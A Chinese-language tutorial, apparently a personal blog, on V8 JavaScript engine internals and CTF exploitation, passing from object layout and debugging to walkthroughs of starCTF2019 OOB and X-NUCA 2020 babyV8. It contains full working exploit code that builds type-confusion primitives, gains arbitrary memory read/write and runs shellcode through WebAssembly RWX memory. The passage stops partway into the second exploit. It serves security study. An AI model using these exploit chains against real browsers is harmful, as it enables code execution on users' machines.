Summary

感觉浏览器是最复杂的用户态程序之一,而 JS 引擎又是浏览器中最复杂的组件之一。

故在比赛中受挫后下定决心研究一下 V8,也许这会成为我以后的研究方向😋

浏览器一直是安全届的焦点之一,包括 Google 在内的大厂也为相关漏洞开出了高额的赏金。我 22 年尝试给 Hackergame 出一道「有趣」又「与众不同」的二进制题目时关注到 V8,23 年一次旅途中刷到了天府杯、V8CTF 等赛事给相关漏洞开出数十万美元的奖金,感受到一些震撼并决定深入学习一下浏览器安全。

前置知识

现代浏览器采用多进程架构,通过 IPC(进程间通信)协作,不同的进程负责管理不同的内容。开源的 Chromium 架构是现在大部分浏览器的基础(Chrome 在其基础上加了自动更新、媒体编解码器、PDF 阅读器等额外组件),下面示意图中展现了 Chromium 的架构:

选择 JavaScript 引擎作为浏览器安全研究的切入点,因为它是所有主流浏览器中的核心技术,提供解释运行任意 JS 代码的能力暴露出了广阔的攻击面。JavaScript 带来丰富网页特效、功能的同时也给浏览器运行效率带来了很大开销,各大厂商都在引入诸如 JIT 等技术来加速 JS 代码的执行。而众所周知效率和安全往往是相违背的,有许多严重的浏览器漏洞都源自于 JS 引擎中的缺陷。

开源的 V8 引擎是 Chromium 的 JavaScript 引擎,同时也是 Node.js 的核心,下面列举了一些主流浏览器的 JS Engine:

浏览器JS Engine
Google ChromeV8
Mozilla FirefoxSpiderMonkey
SafariJavaScriptCore & Nitro

其中 Chromium 内核的市场占有率一骑绝尘,原因如下(Refer to CefDetector): V8-image02

执行流程与 JIT 优化

最初的 JS 引擎主要是解释执行器,但由于纯解释执行效率低下,现代 JS 引擎已经变成了相当复杂的程序,基本执行流程可以大致分为 AST 分析、引擎执行两个步骤:

Info

  1. JS 源码通过 parser(分析器)转化为 AST(抽象语法树),再经过 interpreter(解释器)解析为 bytecode(字节码)
  2. 为了提高运行效率,optimizing compiler(优化编辑器)负责生成 optimized code(优化后的机器码) V8-image03

可以把重点放在 AST 之后,其中优化的矛盾点在于:JS 代码可以在 字节码 或者优化后的 机器码 状态下执行,而生成字节码速度很 ,生成机器码就要 一些。

上述优化思路具体到 V8 引擎中也是一致的,不过命名方式有所区别:

Info

有趣的是 V8 Engine 也有汽车引擎的意思,V8 发动机是内燃机汽车历史上浓墨重彩的一笔。而 V8 中 interpreter 过程称为 Ignition(点火),Optimized Compiler 称为 TurboFan(涡扇):

  1. 解析:V8 首先读取 JavaScript 代码,并将其解析成一个抽象语法树(AST)。这个阶段包括词法分析(将输入的字符流转换成标记或令牌)和语法分析(根据语言的语法规则构建 AST)。
  2. 字节码生成:接下来,V8 的 Ignition 解释器会将 AST 转换成 Bytecode(字节码)。字节码是一种低级的、与机器码相比更接近源代码的中间表示形式,它被设计来快速执行而非直接在硬件上运行。
  3. 执行:V8 使用内置的 Ignition 虚拟机来执行这些字节码。虚拟机通过解释执行字节码来初步运行 JavaScript 代码。
  4. 优化:在执行的同时,V8 会监视代码的运行性能,特定的代码块如果被频繁执行(热点代码),则会被另一个编译器 TurboFan 提取出来并进行优化。TurboFan 会将这些字节码编译成高度优化的机器码。这个过程称为即时编译(JIT)。
  5. 优化后的执行:编译成机器码的代码将直接由 CPU 执行,这大大提高了执行速度。如果后续发现优化基于的假设不再有效(如类型变化等),V8 可以废除这些优化(deoptimization)并回退到字节码执行,再次观察并优化。

Info

从 Chrome M117 版本开始,V8 引入了一个新的优化编译器 Maglev,位于 Ignition 和 TurboFan 之间。Maglev 能够比 Ignition 更快地生成优化代码,虽然优化程度不如 TurboFan。这使得 V8 可以在函数变热之前就开始优化,同时给 TurboFan 更多时间生成高度优化的代码。Maglev 大大提高了 JavaScript 的执行速度。

v8 会记录下某条语法树的执行次数,当 v8 发现某条语法树执行次数超过一定阀值后,就会将这段语法树直接转换为机器码。

后续再调用这条 js 语句时,v8 会直接调用这条语法树对应的机器码,而不用再转换为 ByteCode 字节码,这样就大大加快了执行速度。

对象结构

V8 中的 JS 对象结构基本符合下面描述:

  • map:定义了如何访问对象
  • prototype:对象的原型(如果有)
  • elements:对象元素的地址
  • length:长度
  • properties:属性,存有map和length

其中,elements 也是个对象(指向数组对象具体内容的指针),即 v8 先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的 elements 指向了存储元素内容的内存地址。

没有开启指针压缩的情况下,对象的内存布局如下(可以结合下面的例题):

  • 测试代码:
let float_list = [4.3];
%DebugPrint(float_list);
  • 输出:
DebugPrint: 0x1c53f8e4f341: [JSArray]
 - map: 0x1713bd502ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0f9345bd1111 <JSArray[0]>
 - elements: 0x1c53f8e4f371 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x3155becc0c71 <FixedArray[0]> {
    #length: 0x180e41d801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1c53f8e4f371 <FixedDoubleArray[1]> {
           0: 4.3
 }
  • gdb 中查看内存:
pwndbg> telescope 0x1c53f8e4f340
00:0000│  0x1c53f8e4f340 —▸ 0x1713bd502ed9 ◂— 0x400003155becc01
01:0008│  0x1c53f8e4f348 —▸ 0x3155becc0c71 ◂— 0x3155becc08
02:0010│  0x1c53f8e4f350 —▸ 0x1c53f8e4f371 ◂— 0x3155becc14
03:0018│  0x1c53f8e4f358 ◂— 0x100000000
04:0020│  0x1c53f8e4f360 —▸ 0x3155becc5239 ◂— 0x200003155becc01
05:0028│  0x1c53f8e4f368 —▸ 0xf9345be02e1 ◂— 0xc100003155becc5a
06:0030│  0x1c53f8e4f370 —▸ 0x3155becc14f9 ◂— 0x3155becc01
07:0038│  0x1c53f8e4f378 ◂— 0x100000000
08:0040│  0x1c53f8e4f380 ◂— 0x4011333333333333
  • 即对于 FixedDoubleArray 类型的对象,内存布局如下:
+---------------------------+
|          map              |
|---------------------------|
|        prototype          |
|---------------------------|
|        elements           |------+
|---------------------------|      |
|  length    |    retained  |      |
|---------------------------|      |
|          ...              |      |
|          ...              |      |
|---------------------------|      |
|         map               | <----+
|---------------------------|
|         data              |
|---------------------------|
|          ...              |
+---------------------------+

V8 Pwn Cheatsheet

接下来把关注点放到题目及其利用上:

Installation

Chrome 中 JavaScript 的解释器被称为 V8,下载的 V8 源码经过编译后得到可执行文件 d8,而 d8 往往又分为 debugrelease 版本。

本地编译用于调试的可执行文件 d8:

  • 安装 depot_tools 用于下载 V8 源码:

    • git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
    • echo "set -gx PATH $(pwd)/depot_tools $PATH" >> ~/.config/fish/config.fish
  • 安装 ninja 用于编译 V8:

    • git clone https://github.com/ninja-build/ninja.git
    • cd ninja && ./configure.py --bootstrap && cd ..
    • echo "set -gx PATH $(pwd)/ninja $PATH" >> ~/.config/fish/config.fish
    • source ~/.config/fish/config.fish
    • set -gx all_proxy socks5://x.x.x.x:xxxx
    • fetch v8
  • 接下来编译:

    • cd v8 && gclient sync
    • tools/dev/v8gen.py x64.debug
    • ninja -C out.gn/x64.debug

Tips

通常作为攻击者,希望编译时附带调试信息却又没有额外的检查,但是默认生成的 debug 配置文件 out.gn/x64.debug/args.gn 中会包含 v8_enable_slow_dchecks = true,可以将其改为 false 以免影响攻击。

  • 编译结果位于:
    • ./out.gn/x64.debug/d8

Patch

题目一般会给出有漏洞版本的 commit-id,因此编译之前需要把源码版本先 patch 到目标版本:

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply < oob.diff
 
# debug
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
 
# release
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

Debug

./v8/tools/gdbinit 中提供了便于调试 V8 的 gdb 脚本,主要提供了 job 指令来根据地址查看对象。

调试时需要打开 allow-natives-syntax 选项:

gdb ./d8
set args --allow-natives-syntax
r
source gdbinit_v8

Some Tips for GDB

  • telescope [addr] [length]
    • 查看目标地址内存数据
  • job [addr]
    • 显示 JavaScript 对象的内存结构

Caution

V8 在内存中只有数字和对象两种数据结构的表示,为了区分,内存地址最低位是 1 则表示该地址上的数据结构是对象。

即指针标记机制,用来区分指针、双精度数、SMI(immediate small integer)。

Quote

  • Double: Shown as the 64-bit binary representation without any changes
  • Smi: Represented as value << 32, i.e. 0xdeadbeef is represented as 0xdeadbeef00000000
  • Pointers: Represented as , i.e. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9

即 Double 类型在 v8 的内存中能保持原始数据,故利用过程中的任意地址读 / 写通常倾向于通过浮点数实现。

JavaScript

  • %DebugPrint(obj);
    • 查看对象地址
  • %SystemBreak();
    • 触发调试器中断,允许开发者使用调试工具(如 Chrome 开发者工具、Node.js 的调试器、或者 GDB)来检查当前的调用堆栈、变量、内存状态等

V8 PWN 的基本思路

基于上面对 JS 对象结构的分析可以意识到在 V8 中类型混淆是很容易通过 OOB 之类的漏洞触发的,因为引擎对对象类型的判断完全取决于对象结构中 Map 域的标识,修改 map 造成类型混淆后又可以构造任意地址读写:

graph TD;
漏洞-->越界读写;
越界读写-->泄漏map;
越界读写-->篡改map;
泄漏map-->类型混淆;
篡改map-->类型混淆;
类型混淆-->任意地址读写;
任意地址读写-->写入shellcode;

有如下常见漏洞点:

Quote

  1. JS code exectution:
    • Type Confusions
    • UaFs
    • OOB Accesses
  2. Wasm:
    • Incorrect parsing
    • Signature mismatch
  3. JIT Compilation:
    • JIT Spraying
    • Deopt bugs
  4. GC & Memory Management:
    • Heap corruption
    • Incorrect memory handling
  5. DOM Interaction:
    • Buffer ownership issues
  6. Execution stages & optimization pipeline:
    • Structural optimization errors
  7. Sandbox violations/SBX

例题 0x00:starCTF2019-OOB

这道题也算是 V8 题目中比较经典的例题了, 题目附件: starctf2019-pwn-OOB

fetch v8
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply < oob.diff
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

这里有一点需要注意的是,我们现在编译的 debug 版本调用 obj.oob() 时会触发异常退出,因此只能在 release 版本下进行利用,debug 版本下调试帮助理解 JavaScript 对象结构。

漏洞分析

题目的漏洞点体现在 oob.diff 文件中,通过参数数量的不同分别提供了越界读和越界写的功能:

// ... L33:
    return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
// ... L39:
    elements.set(length,value->Number());
// ...

即无论是读还是写,oob 方法都索引到了 elements[length] 的位置,造成了数组越界漏洞。

在具体利用时,还是遵循着常规 pwn 题目的基本思路:

漏洞
     -> 类型混淆
                 -> 任意地址读写
                                 -> 泄露相关地址
                                                 -> shellcode || hook_hijacking

开始之前 - 一些辅助函数

先来看几个类型转换的辅助函数:

class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.f64 = new Float64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.state = {};
  }
 
  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }
 
  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }
 
  itof(i) {
    this.u32[0] = i;
    return this.f32[0];
  }
 
  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }
 
  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }
 
  clean() {
    this.state.fake_object.fill(0);
  }
 
  hex(x) {
    return x.toString(16).padStart(16, "0");
  }
 
  printhex(val) {
    console.log("0x" + val.toString(16));
  }
 
  add_ref(object) {
    this.state[this.i++] = object;
  }
 
  gc() {
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
  }
}

接下来是利用 oob() 实现类型混淆的思路:

  • 首先需要明白:JavaScript 中对于对象(对象结构的复习)的解析依赖于 map:map 指向 <Map(PACKED_ELEMENTS)> 时 elements 中元素就会按照 obj 来解析,其他类型同理;
  • oob() 不带参数(args.at<Object>(0) 永远是 self),就可以输出 elements[length]oob(data) 就可以在 elements[length] 写入 data;
  • array 的 elements 也是对象,在内存结构中,往往体现为:elements 紧挨着 array,即:
    • elements[length] 的位置上就是 array 的 map
  • 因此可以考虑先读出 map,再在另一种 array 的 map 处写入,即实现了类型混淆。

利用漏洞 - 获得地址与伪造对象的能力

这样一来,我们就可以开始考虑构造任意地址写了,思路如下:

  • 首先,在 JavaScript 中浮点数在内存中是直接存储的,因此伪造 float_array 是比较合适的;
  • 目标是通过在 evil_float_array 这个对象的 elements 的基础上使用 get_obj() 函数构建假的float_array
  • 如此一来,当访问到 fake_array[0] 的时候,实际上会根据其 map 设定的访问规则,最终访问到 target_addr+10 也是 evil_float_array[2] 的位置上。

因此就可以构造出如下 poc:

let helper = new Helpers();
 
console.log("STEP 0 - Leak maps with oob access.");
 
let obj = {};
let obj_list = [obj];
let float_list = [4.3];
 
// %DebugPrint(obj_list);
// %DebugPrint(float_list);
 
let obj_list_map = obj_list.oob();
let float_list_map = float_list.oob();
 
// %SystemBreak();
 
console.log("STEP 1 - Type confusion.");
 
function get_addr(victim) {
  obj_list[0] = victim;
  obj_list.oob(float_list_map);
  let res = helper.f64toi64(obj_list[0]) - 1n;
  obj_list.oob(obj_list_map);
  return res;
}
 
function get_obj(addr) {
  float_list[0] = helper.i64tof64(addr | 1n);
  float_list.oob(obj_list_map);
  let res = float_list[0];
  float_list.oob(float_list_map);
  return res;
}
 
let evil_float_array = [
  float_list_map,
  helper.i64tof64(0n),
  helper.i64tof64(0xdeadbeefn),
  helper.i64tof64((0x80n << 32n) | 0n),
  helper.i64tof64(0xdeadcafen),
  helper.i64tof64(0x31337n),
];
 
let fake_array_addr = get_addr(evil_float_array);
let fake_elements_addr = fake_array_addr + 0x30n;
let fake_obj = get_obj(fake_elements_addr);
console.log(fake_obj.length);
 
// %DebugPrint(evil_float_array);
// %DebugPrint(fake_obj);
// %SystemBreak();

可以验证在输出 fake_obj 时显示为 <JSArray[128]> 类型,进一步就可以在 fake_obj 的基础上获得任意地址读写的能力:

受限的任意读写

console.log("STEP 2 - Arbitary read and write with fake_obj.");
 
function arb_write(addr, data) {
  evil_float_array[2] = helper.i64tof64((addr - 0x10n) | 1n);
  fake_obj[0] = helper.i64tof64(data);
  console.log(
    "[DEBUG] Writing 0x" + helper.hex(data) + " to 0x" + helper.hex(addr),
  );
}
 
function arb_read(addr) {
  evil_float_array[2] = helper.i64tof64((addr - 0x10n) | 1n);
  return helper.f64toi64(fake_obj[0]);
}
 
let data_buf = new ArrayBuffer(0x1000);
let data_view = new DataView(data_buf);
let buf_backing_store_addr = get_addr(data_buf) + 0x20n;

但是上面使用 FloatArray 进行写入的时候,在目标地址高位是 0x7f 等情况下,会出现低 18 位被置零的现象,可以通过 ArrayBuffer 的利用来解决(这也是绕过没有沙盒的指针压缩的常见思路,因为 ArrayBuffer 的储存空间使用 PartitionAlloc 分配,位于 v8 堆之外的单独内存区域中):

更强的任意读写 - ArrayBuffer

  • DataView(ArrayBuffer) 对象中的有如下指针关系:
    • ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区;
    • 但是 ArrayBuffer 不能直接操作,需要通过 DataView 对象来提供读写多种数据类型的底层接口,因此不需要考虑字节序等问题;
    • 利用时可以考虑 DataView -> buffer -> backing_store -> 存储内容
    • backing_store 指针指向了 ArrayBuffer 真正的内存地址;

改进如下:

let data_buf = new ArrayBuffer(0x1000);
let data_view = new DataView(data_buf);
let buf_backing_store_addr = get_addr(data_buf) + 0x20n;

最终利用 - 通过 WasmInstance 写 shellcode

现在获得了任意地址读写,最直接的思路就是:

  1. 构造任意地址读写原语
  2. 构造 WASM 实例
  3. 读 rwx 空间地址
  4. 写 shellcode
  5. 调用 WASM 函数执行 shellcode

Todo

上述思路是最直接的 v8 利用思路,但是也存在指针压缩、v8 沙箱等情况,这时候可以考虑:

  1. 通过 JSFunction 的 JIT 优化机制,使用立即数写 shellcode
  2. 利用 WasmInstance 的全局变量 imported_mutable_globals
  3. 篡改 MemoryChunk 使 JIT function 的 W^X 失效

但是实施起来还需要结合调试定位 RWX 内存的具体地址,是通过定位 wasm_instance + 偏移 获得的。

此外 wasm_code 的内容其实无所谓,只要去 WasmFiddle 上用含有 main 函数的 C 语言生成一段字节码就可以了,这只是为了申请 rwx 空间并保留对其的函数引用,和 wasm 代码功能无关:

  let wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
    130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
    128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
    128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0,
    0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253,
    182, 245, 125, 11,
  ]);
  let wasm_module = new WebAssembly.Module(wasm_code);
  let wasm_instance = new WebAssembly.Instance(wasm_module);
  let func = wasm_instance.exports.main;
  let wasm_instance_addr = get_addr(wasm_instance);
  let func_addr = get_addr(func);
  // %DebugPrint(wasm_instance);
  // %DebugPrint(func);
  // %SystemBreak();
 
  let rwx_addr = arb_read(wasm_instance_addr + 0x88n);
  helper.printhex(rwx_addr);
  // %SystemBreak();

最后就是用任意写的能力把 shellcode 到 rwx 内存中,下面给出 shellcode 的生成方式:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port
 
from lianpwn import *
from pwncli import *
 
context.arch = "amd64"
 
shellcode = asm(shellcraft.execve("/usr/bin/xcalc", 0, ["DISPLAY=:0"]))
 
print("let shellcode = [")
for x in [shellcode[i : i + 8] for i in range(0, len(shellcode), 8)]:
    print(hex(u64_ex(x)), end="n, ")
print("];")

完整利用

最后整体利用代码如下:

class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.f64 = new Float64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.state = {};
  }
 
  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }
 
  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }
 
  itof(i) {
    this.u32[0] = i;
    return this.f32[0];
  }
 
  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }
 
  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }
 
  clean() {
    this.state.fake_object.fill(0);
  }
 
  hex(x) {
    return x.toString(16).padStart(16, "0");
  }
 
  printhex(val) {
    console.log("0x" + val.toString(16));
  }
 
  add_ref(object) {
    this.state[this.i++] = object;
  }
 
  gc() {
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
  }
}
 
let helper = new Helpers();
 
console.log("STEP 0 - Leak maps with oob access.");
 
let obj = {};
let obj_list = [obj];
let float_list = [4.3];
 
// %DebugPrint(obj_list);
// %DebugPrint(float_list);
 
let obj_list_map = obj_list.oob();
let float_list_map = float_list.oob();
 
// %SystemBreak();
 
console.log("STEP 1 - Type confusion.");
 
function get_addr(victim) {
  obj_list[0] = victim;
  obj_list.oob(float_list_map);
  let res = helper.f64toi64(obj_list[0]) - 1n;
  obj_list.oob(obj_list_map);
  return res;
}
 
function get_obj(addr) {
  float_list[0] = helper.i64tof64(addr | 1n);
  float_list.oob(obj_list_map);
  let res = float_list[0];
  float_list.oob(float_list_map);
  return res;
}
 
let evil_float_array = [
  float_list_map,
  helper.i64tof64(0n),
  helper.i64tof64(0xdeadbeefn),
  helper.i64tof64((0x80n << 32n) | 0n),
  helper.i64tof64(0xdeadcafen),
  helper.i64tof64(0x31337n),
];
 
let fake_array_addr = get_addr(evil_float_array);
let fake_elements_addr = fake_array_addr + 0x30n;
let fake_obj = get_obj(fake_elements_addr);
console.log(fake_obj.length);
 
// %DebugPrint(evil_float_array);
// %DebugPrint(fake_obj);
// %SystemBreak();
 
console.log("STEP 2 - Arbitary read and write with fake_obj.");
 
function arb_write(addr, data) {
  evil_float_array[2] = helper.i64tof64((addr - 0x10n) | 1n);
  fake_obj[0] = helper.i64tof64(data);
  console.log(
    "[DEBUG] Writing 0x" + helper.hex(data) + " to 0x" + helper.hex(addr),
  );
}
 
function arb_read(addr) {
  evil_float_array[2] = helper.i64tof64((addr - 0x10n) | 1n);
  return helper.f64toi64(fake_obj[0]);
}
 
let data_buf = new ArrayBuffer(0x1000);
let data_view = new DataView(data_buf);
let buf_backing_store_addr = get_addr(data_buf) + 0x20n;
 
console.log("STEP 3 - Write shellcode to wasm_instance's rwx memory.");
 
let exp = () => {
  let wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
    130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
    128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
    128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0,
    0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253,
    182, 245, 125, 11,
  ]);
  let wasm_module = new WebAssembly.Module(wasm_code);
  let wasm_instance = new WebAssembly.Instance(wasm_module);
  let func = wasm_instance.exports.main;
  let wasm_instance_addr = get_addr(wasm_instance);
  let func_addr = get_addr(func);
  // %DebugPrint(wasm_instance);
  // %DebugPrint(func);
  // %SystemBreak();
 
  let rwx_addr = arb_read(wasm_instance_addr + 0x88n);
  helper.printhex(rwx_addr);
  // %SystemBreak();
 
  let shellcode = [
    0x10101010101b848n,
    0x68632eb848500101n,
    0x431480169722e6fn,
    0xf631d231e7894824n,
    0x50f583b6an,
  ];
 
  arb_write(buf_backing_store_addr, rwx_addr);
  for (let i = 0; i < shellcode.length; i++) {
    data_view.setBigInt64(i * 8, shellcode[i], true);
  }
 
  func();
};
 
exp();

至此题目已经完成了,通过这道入门题目了解了 V8 的调试方式、对象结构与基本利用思路。


例题 0x01:X-NUCA 2020 - babyV8

这里看第二道例题,虽然同样是直接的 OOB 类型漏洞,但是这题开启了指针压缩,可以举一反三尝试一下刚刚学到的利用思路:

git checkout 8.6.358
gclient sync -v -D
git apply - # 从标准输入读取 diff
diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
       [&](TNode<Object> arg) {
         TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
                              arg);
-        Increment(&var_length);
+        Increment(&var_length, 3);
       },
       first);
   {

漏洞分析

分析题目 patch 的函数可以发现:

  1. BuildAppendJSArray 函数先获取了原数组的 length 和 elements;
  2. 判断原数组 elements(即 FixedArray)的容量,若不足则调整容量;
  3. 将参数用 ForEach 循环依次存入新的 elements 中;
  4. 原先会将 var_length,即 index 递增,经过 patch 过后会直接增加 3;
  5. 结束循环后设置 array.length 并返回。

其中「增加容量」和「递增 index 并最终设置 array.length」二者的操作是通过不同的方法计算出来的,而题目中 patch 了后者的计算逻辑,使得最终的 array.length 可以超过调整出来 elements 的容量,就直接导致了 OOB。

POC

来到具体利用,还需要明确如何触发漏洞:

Question

BuildAppendJSArray 函数的参数应该是多大的数组才能导致 OOB?

  • 首先跟踪到 PossiblyGrowElementsCapacity 函数,找到其中调用的 CalculateNewElementsCapacity,定位到返回长度的计算方式为:
  • 经过测试,Double 类型 Array 的 Padding 值为 0x10

其次就是怎么调用漏洞函数,同样是找交叉引用发现 ArrayPrototypePush 中存在相关调用,故可以写出如下 POC:

let victim = [1.1];
victim.push(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.1, 11.11, 12.12);
console.log(victim.length);
 
%DebugPrint(victim);
%SystemBreak();

运行后可以发现长度为 37 的数组的元素容量却只有 35:

d8>  console.log(victim.length);
37
d8> %DebugPrint(victim);
DebugPrint: 0x37dc081486d9: [JSArray]
 - map: 0x37dc08303905 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x37dc082cb351 <JSArray[0]>
 - elements: 0x37dc08149dd5 <FixedDoubleArray[35]> [PACKED_DOUBLE_ELEMENTS]
 - length: 37
 - properties: 0x37dc080426e5 <FixedArray[0]> {
    0x37dc08044651: [String] in ReadOnlySpace: #length: 0x37dc08242161 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37dc08149dd5 <FixedDoubleArray[35]>

若继续向数组里 push 浮点数,则会触发 OOM crash,因此最多只能获得 16 bytes 的 oob,故这里可以结合调试构造更强的 POC:

let victim = [1.1];
victim.push(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.1, 11.11, 12.12);
 
let evil = new Array(1).fill(4.3);
let evil_elem_addr = helper.ftoil(victim[0x24]);
let double_map = helper.ftoil(victim[0x23]);
let double_proto = helper.ftoih(victim[0x23]);
victim[0x24] = helper.i64tof64((0x1000n << 32n) | BigInt(evil_elem_addr));
console.log(evil.length);

即在原 OOB array 的后面再构造一个 Double Array,注意在声明时采用了 new Array 的写法,是因为这样可以保证其 elements 在数组对象的内存之后,于是形成了如下内存布局:

        +---------------------------+
victim: |   proto    |    map       |
        |---------------------------|
        | size (2*sz)|    elem      |------+
        |---------------------------|      |
        |          ...              |      |
        |          ...              |      |
        |---------------------------|      |
elem:   |   size     |    elem map  | <----+
        |---------------------------|
        |     double data           |
        |---------------------------|
        |          ...              |
        |---------------------------|
        |     double data           |
        |---------------------------|
evil:   |   proto    |    map       | // oob
        |---------------------------|
        |   size     |    elem      | // oob
        +---------------------------+

在这种构造下,就可以在获得 double 类型 Array 的 map 与 prototype 的同时篡改新数组的 size 从而获得更大的 OOB,因此上面那段 poc 运行后会输出 evil.length = 2048

受限的任意地址读写

在上面构造了超大范围 oob 的情况下,就可以用很多种方法、很轻松地实现任意地址读写,注意由于 elem 指针实际指在一个 FixedArray 对象上,因此在篡改 elem 指针的时候要注意把地址减 8 才能成功读写目标位置的数据:

let obj_arr = [{}];
let obj_arr_map = helper.ftoil(evil[0x12]);
let obj_arr_proto = helper.ftoih(evil[0x12]);
 
function get_addr(x) {
  obj_arr[0] = x;
  evil[0x12] = helper.i64tof64(
    (BigInt(double_proto) << 32n) | BigInt(double_map),
  );
  let res = helper.ftoil(obj_arr[0]) - 1;
  evil[0x12] = helper.i64tof64(
    (BigInt(obj_arr_proto) << 32n) | BigInt(obj_arr_map),
  );
  return res;
}
 
function limited_read(x) {
  evil[0x12] = helper.i64tof64(
    (BigInt(double_proto) << 32n) | BigInt(double_map),
  );
  evil[0x13] = helper.i64tof64((2n << 32n) | (BigInt(x) - 8n) | 1n);
  let res = helper.f64toi64(obj_arr[0]);
  evil[0x12] = helper.i64tof64(
    (BigInt(obj_arr_proto) << 32n) | BigInt(obj_arr_map),
  );
  return res;
}
 
function limited_write(x, data) {
  evil[0x12] = helper.i64tof64(
    (BigInt(double_proto) << 32n) | BigInt(double_map),
  );
  evil[0x13] = helper.i64tof64((2n << 32n) | (BigInt(x) - 8n) | 1n);
  obj_arr[0] = helper.i64tof64(data);
  evil[0x12] = helper.i64tof64(
    (BigInt(obj_arr_proto) << 32n) | BigInt(obj_arr_map),
  );
}

之所以说是受限的,是因为开启指针压缩后,只能改到实际地址的后 32 位,前 32 位存在 $r13 寄存器内。

接下来就需要考虑怎么完成最终利用,即执行 shellcode:

常规方法 - ArrayBuffer + WasmInstance

正如之前所说的,在没开启沙箱的情况下 ArrayBuffer 位于 v8 堆之外的单独内存区域,因此在调用时也保留了完整的 64 位地址,因此也可以继续使用上一道例题的思路完成利用:

class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.f64 = new Float64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.state = {};
  }
 
  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }
 
  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }
 
  itof(i) {
    this.u32[0] = i;
    return this.f32[0];
  }
 
  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }
 
  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }
 
  clean() {
    this.state.fake_object.fill(0);
  }
 
  hex(x) {
    return x.toString(16).padStart(16, "0");
  }
 
  printhex(val) {
    console.log("0x" + val.toString(16));
  }
 
  add_ref(object) {
    this.state[this.i++] = object;
  }
 
  gc() {
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
    new ArrayBuffer(0x7fe00000);
  }
}
 
let helper = new Helpers();
 
let victim = [1.1];
victim.push(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.1, 11.11, 12.12);
console.log(victim.length);
 
let evil = new Array(1).fill(4.3);
